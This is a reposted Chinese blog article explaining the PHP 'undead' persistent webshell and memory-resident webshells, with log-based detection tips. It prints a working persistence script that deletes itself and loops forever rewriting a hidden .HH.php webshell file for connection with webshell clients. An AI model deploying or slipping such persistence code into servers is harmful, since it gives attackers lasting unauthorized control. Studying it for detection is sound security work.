返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >关于PHP不死马的分析和总结
  • 121
分享到

关于PHP不死马的分析和总结

phpservletjava 2023-09-21 06:09:22 121人浏览 八月长安
摘要

PHP不死马是我们达到权限维持的目的。 不死马的原理: 由客户端发起的WEB请求后,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马就是利用请求过程在内存中修改已有的

PHP不死马是我们达到权限维持的目的。

不死马的原理:

由客户端发起的WEB请求后,中间件的各个独立的组件如ListenerFilterServlet等组件会在请求过程中做监听、判断、过滤等操作,内存马就是利用请求过程在内存中修改已有的组件或动态注册一个新的组件,插入恶意的shellcode,达到持久化控制服务器的目的

php不死马:

ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.HH.php';
$code = '';
while (1){
    file_put_contents($file,$code);
    usleep(5000);
}
?>

set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)

ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)

unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)

file_put_contents函数:将一个字符串写入该文件中

usleep函数:延迟执行当前脚本数微秒,即条件竞争

在访问PHP文件的话 会生成一个.HH.php文件,然后会把自身文件删除,然后就可以用菜刀连接.HH.php:

删除.HH.php文件的话他会不断生成 .HH.php

内存马的检测

内存马排查思路: 先判断是通过什么方法注入的内存马,可以先查看web日志是否有可疑的web访问日志,如果是filter或者listener类型就会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的,查看是否有类似哥斯拉、冰蝎相同的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。

如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞

来源地址:https://blog.csdn.net/weixin_52501704/article/details/127352570

--结束END--

本文标题: 关于PHP不死马的分析和总结

本文链接: https://lsjlt.com/news/413650.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 关于PHP不死马的分析和总结
    PHP不死马是我们达到权限维持的目的。 不死马的原理: 由客户端发起的Web请求后,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马就是利用请求过程在内存中修改已有的...
    99+
    2023-09-21
    php servlet java
  • R语言关于生存分析知识点总结
    生存分析处理预测特定事件将要发生的时间。 它也被称为故障时间分析或分析死亡时间。 例如,预测患有癌症的人将存活的天数或预测机械系统将失败的时间。 命名为survival的R语言包用于...
    99+
    2024-04-02
  • 关于MySQL死锁问题的深入分析
    前言 如果我们的业务处在一个非常初级的阶段,并发程度比较低,那么我们可以几年都遇不到一次死锁问题的发生,反之,我们业务的并发程度非常高,那么时不时爆出的死锁问题肯定让我们非常挠头。不过在死锁问题发生时,很多...
    99+
    2024-04-02
  • MySQL系列关于NUll值的经验总结分析教程
    目录1.测试数据2.null值带给我们的不便影响3.空格、空值和null,我们应该怎么判断呢?1)空格、空值和null的区别2)出现了null值,我应该怎么办?1.测试数据 cr...
    99+
    2024-04-02
  • 关于php的示例分析
    这篇文章主要介绍关于php的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!什么是phpPHP 是 PHP Hypertext Preprocessor(超文本与处理器)的首字母缩写。这种方法叫做递归缩写。ph...
    99+
    2023-06-15
  • java中关于==和equals的分析
    ==的分析对于基本数据类型,比较的是他们的具体内容是不是一样,跟他们的内存地址无关。举个例子:public class Test{ public static void main(String[] args) { int i = ...
    99+
    2019-12-15
    java == equals 分析
  • 总结分析无法访问PHP的问题
    在搭建服务器时,你可能会发现无法访问PHP的问题。这是一个非常常见的问题,在解决它之前,我们需要先了解一些概念。PHP是一种被广泛应用的脚本语言,它可以让你在服务器端编写程序来动态生成网页内容。为了让访问者能够看到你编写的PHP代码,你需要...
    99+
    2023-05-14
  • Shell中关于时间和日期的函数总结
    shell下获取系统时间的方法直接调用系统变量 获取今天时期:`date +%Y%m%d` 或 `date +%F` 或 $(date +%y%m%d) 获取昨天时期:`date -d yesterday +%Y%m%...
    99+
    2022-06-04
    shell 时间 函数 shell 日期 函数
  • 12C关于CDB、PDB创建AWR的方法和总结
    官方文档 http://docs.oracle.com/database/122/TGDBA/gathering-database-statistics.htm#TGDBA-GUID-D64AEB01-18...
    99+
    2024-04-02
  • 关于@Scheduled不执行的原因分析
    目录@Scheduled不执行的原因1. 今天用@Schedule做了一个定时任务2. 首先遇到查到的一个解决方案3. 还有版本说要在spring4. 又查到版本说要在Bean上加上...
    99+
    2024-04-02
  • 关于vue中媒体查询不起效的原因总结
    目录vue媒体查询不起效的原因错误一错误二错误三错误四错误五vue使用media媒体查询vue媒体查询不起效的原因 vue中 用less或scss都可以使用媒体查询不生效无非以下几种...
    99+
    2024-04-02
  • 关于PHP核心功能的示例分析
    关于PHP核心功能的示例分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。PHP是我们一直都很关注的语言之一,随着PHP6的升级,它的功能也越来越强大,我们这里...
    99+
    2023-06-17
  • MySQL索引优化的性能分析和总结
    本篇内容主要讲解“MySQL索引优化的性能分析和总结”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“MySQL索引优化的性能分析和总结”吧!案例分析我们先简单了解...
    99+
    2024-04-02
  • 关于PHP5和PHP7中数组实现方式的比较总结
    目录⒈数据结构⒉添加/修改元素⒊删除元素⒋数组遍历⒌hash碰撞⒍扩容⒎PHP7中的packedhashtable总结从 PHP 5 到 PHP 7 ,PHP 通过对 hashtab...
    99+
    2024-04-02
  • 基于MongoDB的实时数据处理与分析经验总结
    随着大数据时代的到来,数据的处理和分析变得越来越重要。在数据处理和分析领域,MongoDB作为一种流行的NoSQL数据库,被广泛应用于实时数据处理和分析中。本文将从实际经验出发,总结基于MongoDB的实时数据处理与分析的一些经验。一、数据...
    99+
    2023-11-02
    数据分析 MongoDB 实时数据处理
  • 基于MongoDB的实时数据分析与预测经验总结
    标题:基于MongoDB的实时数据分析与预测经验总结引言:随着信息技术的迅猛发展,数据分析和预测已经成为企业决策与发展的关键因素。而MongoDB作为一种非关系型数据库,对于实时数据分析和预测提供了很多便利。本文将总结基于MongoDB的实...
    99+
    2023-11-04
    预测 MongoDB 实时数据分析
  • 基于MongoDB的实时数据流处理与分析经验总结
    随着大数据时代的到来,数据量的爆炸式增长与实时性的要求越来越高。如何进行高效的数据流处理和实时分析成为了一项重要的任务。在这个过程中,MongoDB发挥了其不可或缺的作用,成为了实时数据处理与分析的一个重要工具。本文将基于实践经验对基于Mo...
    99+
    2023-11-03
    MongoDB 实时数据流处理 数据分析经验
  • 基于MongoDB的实时数据湖构建与分析经验总结
    近年来,随着大数据技术的迅速发展,各种数据处理与分析的需求日益增长。在这个背景下,数据湖作为一种新型的数据存储和处理架构,逐渐受到了广泛关注。而MongoDB作为一种流行的非关系型数据库,具备高性能、扩展性强等优点,成为构建实时数据湖的理想...
    99+
    2023-11-03
    MongoDB 实时数据湖 构建与分析
  • 关于antd tree和父子组件之间的传值问题(react 总结)
    项目需求:点击产品树节点时获取该节点的所有父节点,同时回填表格的搜索条件,完成搜索功能,搜索结果展示在下方的table中。 写了三个组件: 现在有个业务场景交互:在orderTr...
    99+
    2024-04-02
  • 基于MongoDB的日志分析与监控系统搭建经验总结
    一、需求分析与系统设计随着互联网和移动设备的普及,各类网络应用和系统的日志数量急剧增长。对这些海量的日志进行分析和监控可以帮助企业实时了解系统运行情况,发现潜在的问题并进行及时修复,提高系统的稳定性和可靠性。为了满足这一需求,我们团队基于M...
    99+
    2023-11-04
    MongoDB 日志分析 监控系统
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作